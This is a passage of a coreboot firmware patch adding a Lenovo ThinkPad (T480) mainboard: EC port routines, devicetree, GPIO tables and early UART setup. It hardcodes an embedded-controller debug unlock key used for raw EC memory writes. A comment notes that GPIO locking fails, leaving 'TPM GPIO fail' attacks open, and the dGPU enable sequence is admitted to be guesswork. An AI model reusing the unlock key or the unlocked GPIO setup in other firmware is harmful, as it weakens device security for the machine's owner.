LDN_UART); ++ pnp_write(port, UART_ACTIVATE, 0x01); ++ pnp_write(port, UART_CONFIG_SELECT, 0x00); ++ ++ microchip_pnp_exit_conf_state(port); ++ ++#ifdef CONFIG_BOARD_LENOVO_T480 ++ // Supply debug unlock key ++ debug_write_key(DEBUG_RW_KEY_IDX, debug_rw_key); ++ ++ // Use debug writes to set UART_TX and UART_RX GPIOs ++ debug_write_dword(0xf0c400 + 0x110, 0x00001000); ++ debug_write_dword(0xf0c400 + 0x114, 0x00001000); ++#endif ++} ++ ++ ++#define UART_PORT 0x3f8 ++#define UART_IRQ 4 ++ ++void bootblock_mainboard_early_init(void) ++{ ++ // Tell EC via BIOS Debug Port 1 that the world isn't on fire ++ ++ // Let the EC know that BIOS code is running ++ outb(0x11, 0x86); ++ outb(0x6e, 0x86); ++ ++ // Enable accesses to EC1 interface ++ ec0_write(0, ec0_read(0) | 0x20); ++ ++ // Reset LEDs to power on state ++ // (Without this warm reboot leaves LEDs off) ++ ec0_write(0x0c, 0x80); ++ ec0_write(0x0c, 0x07); ++ ec0_write(0x0c, 0x8a); ++ ++ // Setup debug UART ++ configure_uart(EC_CFG_PORT, UART_PORT, UART_IRQ); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +new file mode 100644 +index 0000000000..c07d4d53ca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +@@ -0,0 +1,71 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ # IGD Displays ++ register "gfx" = "GMA_STATIC_DISPLAYS(0)" ++ ++ register "panel_cfg" = "{ ++ .up_delay_ms = 200, ++ .down_delay_ms = 50, ++ .cycle_delay_ms = 600, ++ .backlight_on_delay_ms = 1, ++ .backlight_off_delay_ms = 200, ++ .backlight_pwm_hz = 200, ++ }" ++ ++ # Power ++ register "PmConfigSlpS3MinAssert" = "2" # 50ms ++ register "PmConfigSlpS4MinAssert" = "1" # 1s ++ register "PmConfigSlpSusMinAssert" = "3" # 500ms ++ register "PmConfigSlpAMinAssert" = "3" # 2s ++ ++ device domain 0 on ++ device ref igpu on end ++ device ref sa_thermal on end ++ device ref thermal on end ++ device ref south_xhci on end ++ device ref lpc_espi on ++ register "serirq_mode" = "SERIRQ_CONTINUOUS" ++ ++ register "gen1_dec" = "0x007c1601" ++ register "gen2_dec" = "0x000c15e1" ++ ++ chip ec/lenovo/pmh7 ++ register "backlight_enable" = "true" ++ register "dock_event_enable" = "true" ++ device pnp ff.1 on end # dummy ++ end ++ ++ chip ec/lenovo/h8 ++ register "beepmask0" = "0x00" ++ register "beepmask1" = "0x86" ++ register "config0" = "0xa6" ++ register "config1" = "0x0d" ++ register "config2" = "0xa8" ++ register "config3" = "0xc4" ++ register "has_keyboard_backlight" = "1" ++ register "event2_enable" = "0xff" ++ register "event3_enable" = "0xff" ++ register "event4_enable" = "0xd0" ++ register "event5_enable" = "0x3c" ++ register "event7_enable" = "0x01" ++ register "event8_enable" = "0x7b" ++ register "event9_enable" = "0xff" ++ register "eventc_enable" = "0xff" ++ register "eventd_enable" = "0xff" ++ register "evente_enable" = "0x9d" ++ device pnp ff.2 on # dummy ++ io 0x60 = 0x62 ++ io 0x62 = 0x66 ++ io 0x64 = 0x1600 ++ io 0x66 = 0x1604 ++ end ++ end ++ ++ chip drivers/pc80/tpm ++ device pnp 0c31.0 on end ++ end ++ end ++ device ref hda on end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +new file mode 100644 +index 0000000000..aa4d4de2a6 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +@@ -0,0 +1,33 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20110725 ++) ++{ ++ #include ++ #include ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ #include ++ } ++ ++ Scope (\_SB.PCI0.RP01) ++ { ++ Device (PEGP) ++ { ++ Name (_ADR, Zero) ++ } ++ } ++ ++ #include ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.c b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +new file mode 100644 +index 0000000000..adb6a60324 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +@@ -0,0 +1,153 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "ec.h" ++ ++#define MICROCHIP_CONFIGURATION_ENTRY_KEY 0x55 ++#define MICROCHIP_CONFIGURATION_EXIT_KEY 0xaa ++ ++void microchip_pnp_enter_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_ENTRY_KEY, port); ++} ++ ++void microchip_pnp_exit_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_EXIT_KEY, port); ++} ++ ++uint8_t pnp_read(uint16_t port, uint8_t index) ++{ ++ outb(index, port); ++ return inb(port + 1); ++} ++ ++uint32_t pnp_read_le32(uint16_t port, uint8_t index) ++{ ++ return (uint32_t) pnp_read(port, index) | ++ (uint32_t) pnp_read(port, index + 1) << 8 | ++ (uint32_t) pnp_read(port, index + 2) << 16 | ++ (uint32_t) pnp_read(port, index + 3) << 24; ++} ++ ++void pnp_write(uint16_t port, uint8_t index, uint8_t value) ++{ ++ outb(index, port); ++ outb(value, port + 1); ++} ++ ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value) ++{ ++ pnp_write(port, index, value & 0xff); ++ pnp_write(port, index + 1, value >> 8 & 0xff); ++ pnp_write(port, index + 2, value >> 16 & 0xff); ++ pnp_write(port, index + 3, value >> 24 & 0xff); ++} ++ ++static void ecN_clear_out_queue(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_OBF) ++ inb(data_port); ++} ++ ++static void ecN_wait_to_send(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_IBF) ++ ; ++} ++ ++static void ecN_wait_to_recv(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (!(inb(cmd_port) & EC_OBF)) ++ ; ++} ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_READ, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_recv(cmd_port, data_port); ++ return inb(data_port); ++} ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_WRITE, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(val, data_port); ++} ++ ++uint8_t eeprom_read(uint16_t addr) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(1, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(addr, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ return inl(EC2_DATA); ++} ++ ++void eeprom_write(uint16_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(2, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl((uint32_t) addr | (uint32_t) val << 16, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ inl(EC2_DATA); ++} ++ ++uint16_t debug_loaded_keys(void) ++{ ++ return (uint16_t) ec0_read(0x87) << 8 | (uint16_t) ec0_read(0x86); ++} ++ ++static void debug_cmd(uint8_t cmd) ++{ ++ ec0_write(EC_DEBUG_CMD, cmd); ++ while (ec0_read(EC_DEBUG_CMD) & 0x80) ++ ; ++} ++ ++void debug_read_key(uint8_t i, uint8_t *key) ++{ ++ debug_cmd(0x80 | (i & 0xf)); ++ for (int j = 0; j < 8; ++j) ++ key[j] = ec0_read(0x3e + j); ++} ++ ++void debug_write_key(uint8_t i, const uint8_t *key) ++{ ++ for (int j = 0; j < 8; ++j) ++ ec0_write(0x3e + j, key[j]); ++ debug_cmd(0xc0 | (i & 0xf)); ++} ++ ++uint32_t debug_read_dword(uint32_t addr) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xE2, EC3_DATA); ++ ecN_wait_to_recv(EC3_CMD, EC3_DATA); ++ return inl(EC3_DATA); ++} ++ ++void debug_write_dword(uint32_t addr, uint32_t val) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xEA, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(val, EC3_DATA); ++} ++ ++const uint8_t debug_rw_key[8] = { 0x7a, 0x41, 0xb1, 0x49, 0xfe, 0x21, 0x01, 0xcf }; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.h b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +new file mode 100644 +index 0000000000..d2963c8962 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +@@ -0,0 +1,99 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef SKLKBL_THINKPAD_EC_H ++#define SKLKBL_THINKPAD_EC_H ++ ++// EC configuration base address ++#define EC_CFG_PORT 0x4e ++ ++// Chip global registers ++#define PNP_LDN_SELECT 0x07 ++# define LDN_UART 0x07 ++# define LDN_LPCIF 0x0c ++#define EC_DEVICE_ID 0x20 ++#define EC_DEVICE_REV 0x21 ++ ++// LPC I/F registers ++#define LPCIF_SIRQ(i) (0x40 + (i)) ++ ++#define LPCIF_BAR_CFG 0x60 ++#define LPCIF_BAR_MAILBOX 0x64 ++#define LPCIF_BAR_8042 0x68 ++#define LPCIF_BAR_ACPI_EC0 0x6c ++#define LPCIF_BAR_ACPI_EC1 0x70 ++#define LPCIF_BAR_ACPI_EC2 0x74 ++#define LPCIF_BAR_ACPI_EC3 0x78 ++#define LPCIF_BAR_ACPI_PM0 0x7c ++#define LPCIF_BAR_UART 0x80 ++#define LPCIF_BAR_FAST_KYBD 0x84 ++#define LPCIF_BAR_EMBED_FLASH 0x88 ++#define LPCIF_BAR_GP_SPI 0x8c ++#define LPCIF_BAR_EMI 0x90 ++#define LPCIF_BAR_PMH7 0x94 ++#define LPCIF_BAR_PORT80_DBG0 0x98 ++#define LPCIF_BAR_PORT80_DBG1 0x9c ++#define LPCIF_BAR_RTC 0xa0 ++ ++// UART registers ++#define UART_ACTIVATE 0x30 ++#define UART_CONFIG_SELECT 0xf0 ++ ++void microchip_pnp_enter_conf_state(uint16_t port); ++void microchip_pnp_exit_conf_state(uint16_t port); ++uint8_t pnp_read(uint16_t port, uint8_t index); ++uint32_t pnp_read_le32(uint16_t port, uint8_t index); ++void pnp_write(uint16_t port, uint8_t index, uint8_t value); ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value); ++ ++#define EC0_CMD 0x0066 ++#define EC0_DATA 0x0062 ++#define EC1_CMD 0x1604 ++#define EC1_DATA 0x1600 ++#define EC2_CMD 0x1634 ++#define EC2_DATA 0x1630 ++#define EC3_CMD 0x161c ++#define EC3_DATA 0x1618 ++ ++#define EC_OBF (1 << 0) ++#define EC_IBF (1 << 1) ++ ++#define EC_READ 0x80 ++#define EC_WRITE 0x81 ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr); ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val); ++ ++// EC0 and EC1 mostly are useful with the READ/WRITE commands ++#define ec0_read(addr) ecN_read(EC0_CMD, EC0_DATA, addr) ++#define ec0_write(addr, val) ecN_write(EC0_CMD, EC0_DATA, addr, val) ++#define ec1_read(addr) ecN_read(EC1_CMD, EC1_DATA, addr) ++#define ec1_write(addr, val) ecN_write(EC1_CMD, EC1_DATA, addr, val) ++ ++// Read from the emulated EEPROM ++uint8_t eeprom_read(uint16_t addr); ++ ++// Write to the emulated EEPROM ++void eeprom_write(uint16_t addr, uint8_t val); ++ ++// Read loaded debug key mask ++uint16_t debug_loaded_keys(void); ++ ++// The following location (via either EC0 or EC1) can be used to interact with the debug interface ++#define EC_DEBUG_CMD 0x3d ++ ++void debug_read_key(uint8_t i, uint8_t *key); ++ ++void debug_write_key(uint8_t i, const uint8_t *key); ++ ++uint32_t debug_read_dword(uint32_t addr); ++ ++void debug_write_dword(uint32_t addr, uint32_t val); ++ ++// RW unlock key index ++#define DEBUG_RW_KEY_IDX 1 ++ ++// RW unlock key for EC version N24HT37W ++extern const uint8_t debug_rw_key[8]; ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +new file mode 100644 +index 0000000000..d89ed712d4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h +@@ -0,0 +1,8 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef GPIO_H ++#define GPIO_H ++ ++void variant_config_gpios(void); ++ ++#endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +new file mode 100644 +index 0000000000..44c8578852 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c +@@ -0,0 +1,105 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include "ec.h" ++#include "gpio.h" ++ ++#define GPIO_GPU_RST GPP_E22 // active low ++#define GPIO_1R8VIDEO_AON_ON GPP_E23 ++ ++#define GPIO_DGFX_PWRGD GPP_F3 ++ ++#define GPIO_DISCRETE_PRESENCE GPP_D9 // active low ++#define GPIO_DGFX_VRAM_ID0 GPP_D11 ++#define GPIO_DGFX_VRAM_ID1 GPP_D12 ++ ++void mainboard_silicon_init_params(FSP_SIL_UPD *params) ++{ ++ static const char * const dgfx_vram_id_str[] = { "1GB", "2GB", "4GB", "N/A" }; ++ ++ int dgfx_vram_id; ++ ++ // Setup GPIOs ++ variant_config_gpios(); ++ ++ // Detect and enable dGPU ++ if (gpio_get(GPIO_DISCRETE_PRESENCE) == 0) { // active low ++ dgfx_vram_id = gpio_get(GPIO_DGFX_VRAM_ID0) | gpio_get(GPIO_DGFX_VRAM_ID1) << 1; ++ printk(BIOS_DEBUG, "Discrete GPU present with %s VRAM\n", dgfx_vram_id_str[dgfx_vram_id]); ++ ++ // NOTE: i pulled this GPU enable sequence from thin air ++ // it sometimes works but is buggy and the GPU disappears in some cases so disabling it by default. ++ // also unrelated to this enable sequence the nouveau driver only works on 6.8-6.9 kernels ++ if (get_uint_option("dgpu_enable", 0)) { ++ printk(BIOS_DEBUG, "Enabling discrete GPU\n"); ++ gpio_set(GPIO_1R8VIDEO_AON_ON, 1); // Enable GPU power rail ++ while (!gpio_get(GPIO_DGFX_PWRGD)) // Wait for power good signal from GPU ++ ; ++ gpio_set(GPIO_GPU_RST, 1); // Release GPU from reset ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU will remain disabled\n"); ++ } ++ ++ } else { ++ printk(BIOS_DEBUG, "Discrete GPU not present\n"); ++ } ++} ++ ++static void dump_ec_cfg(uint16_t port) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Device info ++ printk(BIOS_DEBUG, "Device id %02x\n", pnp_read(port, EC_DEVICE_ID)); ++ printk(BIOS_DEBUG, "Device rev %02x\n", pnp_read(port, EC_DEVICE_REV)); ++ ++ // Switch to LPCIF LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ ++ // Dump SIRQs ++ for (int i = 0; i <= 15; i += 1) ++ printk(BIOS_DEBUG, "SIRQ%d = %02x\n", i, pnp_read(port, LPCIF_SIRQ(i))); ++ ++ // Dump BARs ++ printk(BIOS_DEBUG, "BAR CFG = %08x\n", pnp_read_le32(port, LPCIF_BAR_CFG)); ++ printk(BIOS_DEBUG, "BAR MAILBOX = %08x\n", pnp_read_le32(port, LPCIF_BAR_MAILBOX)); ++ printk(BIOS_DEBUG, "BAR 8042 = %08x\n", pnp_read_le32(port, LPCIF_BAR_8042)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC0)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC1)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC2 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC2)); ++ printk(BIOS_DEBUG, "BAR ACPI_EC3 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_EC3)); ++ printk(BIOS_DEBUG, "BAR ACPI_PM0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_ACPI_PM0)); ++ printk(BIOS_DEBUG, "BAR UART = %08x\n", pnp_read_le32(port, LPCIF_BAR_UART)); ++ printk(BIOS_DEBUG, "BAR FAST_KYBD = %08x\n", pnp_read_le32(port, LPCIF_BAR_FAST_KYBD)); ++ printk(BIOS_DEBUG, "BAR EMBED_FLASH = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMBED_FLASH)); ++ printk(BIOS_DEBUG, "BAR GP_SPI = %08x\n", pnp_read_le32(port, LPCIF_BAR_GP_SPI)); ++ printk(BIOS_DEBUG, "BAR EMI = %08x\n", pnp_read_le32(port, LPCIF_BAR_EMI)); ++ printk(BIOS_DEBUG, "BAR PMH7 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PMH7)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG0 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG0)); ++ printk(BIOS_DEBUG, "BAR PORT80_DBG1 = %08x\n", pnp_read_le32(port, LPCIF_BAR_PORT80_DBG1)); ++ printk(BIOS_DEBUG, "BAR RTC = %08x\n", pnp_read_le32(port, LPCIF_BAR_RTC)); ++ ++ microchip_pnp_exit_conf_state(port); ++} ++ ++static void mainboard_enable(struct device *dev) ++{ ++ if (CONFIG(VGA_ROM_RUN)) ++ install_intel_vga_int15_handler(GMA_INT15_ACTIVE_LFP_EDP, ++ GMA_INT15_PANEL_FIT_DEFAULT, ++ GMA_INT15_BOOT_DISPLAY_DEFAULT, 0); ++} ++ ++static void mainboard_init(void *chip_info) ++{ ++ dump_ec_cfg(EC_CFG_PORT); ++} ++ ++struct chip_operations mainboard_ops = { ++ .enable_dev = mainboard_enable, ++ .init = mainboard_init, ++}; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..4db4202961d0be67b75f52b28f2111d5655595c3 +GIT binary patch +literal 4106 +zcmeHJU2GIp6h5=FKeKmc=rAo()>4l^U|XP_ZDGYy!|YE>mu}hZ4|PdQy1bV0gipVB&+pHzmFpc`=IXxii}qiqH*)7}PU+ +z?woV)x!<09?wNbfhQa6n_IK}3M!Gw&OgS)sY2Q$LJ4F+z{-JneATkt9refXr6+8sr +zR{e1eASVcGl#mf_O&p%I^1;3af=xDeN0ZnydT=;zHOH-q=O;(UFda)^LXW8| +z-Vsanq!Y==Kq9plQ+*gu^hf&pJ9?tY{h01cbtR&SfsVM!_*!D4W5>papLuo?gRur| +zF$`lX;f2t48Dpd4V@(*z=dq95OkkfiVU53N<(gE+=U)KHEdU4}@R=aMjTTTOcb8-a +zC9IXSxZB*|#u~SlHnpsY25L#Sxy6ljl16gI)H0f>for?qaszCX;ESpG=pqROFWR~Z +zTqQzcH(berra`9K(R~0OJ_eeA=> +z&R-)LYP^U3@%6h}+0)7m-mEOhOM92l32>zpvu-&@ZkPf<>~Bsv&Oy1O(`pbLUf3vt*0HIRk0U3EzI +zIeSaIE9*jps%6qP7$EQo8=K#f^K_mFpy5prkNNSOU;oI@KK0}Ge*G6eyWz+6OyADf +zE`}Db#-81u-uS=OJB*=`v}WPMs@ugdtLtbZo6OEUf}>!QL` +z1zQ!pLt!Zek0|;p3VTDrj}`q(g?+8yuZk|KY?X>TRlP@LPpbH`s-ITbSygS+Jq6cQ +zp|Em=T_#B53Y|R}mtw!K3mUyWRhytxx_wi^(}HurDkx@L%OlKIA%rq@7%bE{p{Wl~ +zJJ%lV6&>fxBjnbA8G(&P?a8o%P#c~Wo$7|%1UE-$r;6jwt1uejOfMLwF-BDgC-Q+N +za!Hx;1S&$9!rlNCTsI*IMZ0#Y5aEO7sjIz#jb`S|q7OpRYx`h&=PK}_YnN#poNF=7 +z3yTO|pc0N&G3cozl21Q6c)l0vjm~0uFL)%2_T5RYR1$~dO~u)4px!jFycZNnchPVA +z!0+Vc_afL{m>rv2PY8{Cma`W{yG~JNJu?;L!#fSLmwRW{8R@gD7Z5~{xvZGpN)U`j +z^I~=;XVmtVzgSv@Na@HC?lC8A1l2+CU Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +new file mode 100644 +index 0000000000..f7c29e1f39 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c +@@ -0,0 +1,203 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++/* FIXME: There are multiple GPIOs here that should be locked to prevent "TPM GPIO fail" style ++ * attacks. Unfortunately SKL/KBL GPIO locking *does not* work currently. */ ++ ++static const struct pad_config gpio_table[] = { ++ ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, NATIVE, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, NATIVE, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NATIVE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_NC(GPP_B0, NONE), ++ PAD_NC(GPP_B1, NONE), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE10 */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NATIVE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 1, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_NC(GPP_C2, NONE), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY1 */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_NC(GPP_E0, NONE), ++ PAD_CFG_NF(GPP_E1, NONE, DEEP, NF1), /* -WWAN_SATA_DTCT (always HIGH) */ ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -PE_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), 